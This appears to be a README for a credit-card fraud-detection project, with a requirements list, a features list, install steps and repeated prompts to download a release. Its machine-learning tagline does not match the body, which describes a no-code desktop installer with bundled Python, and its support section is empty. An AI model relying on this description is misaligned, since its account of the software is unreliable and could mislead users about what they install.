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πŸ’³ Detect fraudulent credit card transactions using machine learning, tackling data imbalance with a complete end-to-end data science workflow.

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🏦 Credit-Card-Fraud-Detection-EDA-project - Identify Fraud Instantly with Ease

Download Latest Release

πŸš€ Getting Started

Welcome to the Credit-Card-Fraud-Detection-EDA-project! This application helps you detect fraudulent credit card transactions using data analysis techniques. You can easily download and run the software without needing programming skills.

πŸ“¦ Requirements

Before you start, make sure your computer meets these basic requirements:

  • Operating System: Windows 10 or later, macOS 10.13 or later, or Ubuntu 18.04 or later
  • RAM: Minimum 4GB
  • Storage: At least 500MB of free space
  • Python: Version 3.6 or later (it comes bundled in the software download)
  • Internet Connection: Required for downloading the software and updates

πŸ’» Features

  • Fraud Detection: Identify potentially fraudulent transactions using machine learning.
  • Data Visualization: Explore data with easy-to-understand charts and graphs.
  • Simple Interface: Use an intuitive interface for hassle-free operation.
  • Detailed Reports: Get comprehensive reports to understand fraud patterns.
  • No Coding Needed: Run the application without any programming knowledge.

πŸ“₯ Download & Install

To get started, visit this page to download:

Download Latest Release

  1. Click on the link above to open the Releases page.
  2. Look for the latest version of the software.
  3. Find the installer file suitable for your operating system (Windows, macOS, or Linux).
  4. Click the download button next to the file name to start downloading.
  5. Once the file downloads, go to your Downloads folder.
  6. Open the downloaded file and follow the on-screen instructions to install the application.

πŸ”§ Usage Instructions

  1. After installation, open the application from your programs list.
  2. You will see a main menu. Choose the β€œUpload Data” option.
  3. Select the credit card transaction data file you want to analyze (CSV format recommended).
  4. Click on β€œStart Analysis” to begin detecting fraudulent transactions.
  5. Review the results and examine detailed reports generated by the software.

πŸ§‘β€πŸ€β€πŸ§‘ Support & Community

If you need assistance, you can reach out for help:

βœ‰οΈ Feedback

Your opinion matters! If you have suggestions for improvements or features you'd like to see, please let us know. You can submit feedback through GitHub Issues or email.

πŸ“„ License

This project is licensed under the MIT License. You can freely use, modify, and share the software as long as you credit the original creators. For more details, refer to the LICENSE file in the repository.

🌟 Acknowledgements

This project leverages various open-source technologies and resources. Special thanks to the contributors who made this possible. A complete list of contributors can be found on the GitHub repository.

Download Latest Release

We appreciate your interest in Credit-Card-Fraud-Detection-EDA-project. Enjoy using the application!